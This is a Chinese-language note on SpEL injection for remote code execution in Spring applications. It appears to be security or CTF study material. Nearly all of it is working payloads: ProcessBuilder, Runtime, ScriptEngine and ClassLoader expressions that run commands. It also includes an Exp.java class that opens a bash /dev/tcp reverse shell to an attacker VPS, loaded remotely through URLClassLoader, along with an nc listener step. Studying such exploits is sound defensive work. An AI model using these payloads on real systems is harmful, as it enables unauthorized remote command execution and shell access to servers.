SpEL注入RCE
SpEL调用流程
1.注册变量
# ProcessBuilder方法
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()";
# RunTime方法
# Java的RunTime方法采用 单例模式-饿汉式,即在内存中唯一,所以需要用getRuntime()静态方法调用实例
String cmdStr = "T(Runtime).getRuntime().exec(new String[]{\"open\",\"/System/Applications/Calculator.app\"})";
# ScriptEngine方法
# nashorn引擎执行
String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\")";
# javascript引擎执行
String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\")";
将 cmdStr 注入到解析器能调用的变量中,则可以执行payload
2.新建解析器
ExpressionParser parser = new SpelExpressionParser();
3.解析表达式
Expression exp = parser.parseExpression(cmdStr);
4.取值,执行payload
System.out.println( exp.getValue() );
攻击流程
UrlClassLoader方法
原理:
通过UrlClassLoader远程访问到存有恶意代码服务器的端口实例化
Exp.java 运行程序反弹shell,例如放在VPS 192.168.0.1:9999上,开HTTP服务
public class Exp{
public Exp(String address){
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
攻击流程:
攻击者 VPS ────────────────────┬─────────────────────→ 目标服务器
(托管 Exp.jar) │
│ 1. 目标执行 Payload
│ 2. URLClassLoader 下载 Exp.jar
│ 3. 加载 Exp 类并实例化
│ 4. 反向 Shell 连接回传
↓
攻击者监听 2333 端口 ←─────────┘
(nc -lvp 2333)
可通过内置对象加载UrlClassLoader
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
request、response对象是web项目的常客,通过第一个poc测试发现在web项目如果引入了spel的依赖,那么这两个对象会自动被注册进去。
像这样,会发现它调用的是UrlClassLoader
AppClassLoader方法
可通过其他类获取AppClassLoader
使用spel的话一定存在名为org.springframework的包,这个包下有许许多多的类,而这些类的classloader就是app,比如:org.springframework.expression.Expression类
System.out.println( org.springframework.expression.Expression.class.getClassLoader() );
那么很容易就可以得到一个获取AppClassLoader的方法 ,
T(org.springframework.expression.Expression).getClass().getClassLoader()
假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
假设有一个自定义的类那么可以:
T(com.ctf.controller.Demo).getClass().getClassLoader()
EXP:
-
加载Runtime执行
由于需要调用到静态方法所以还是要用到
T()操作T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app") -
加载ProcessBuilder执行
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()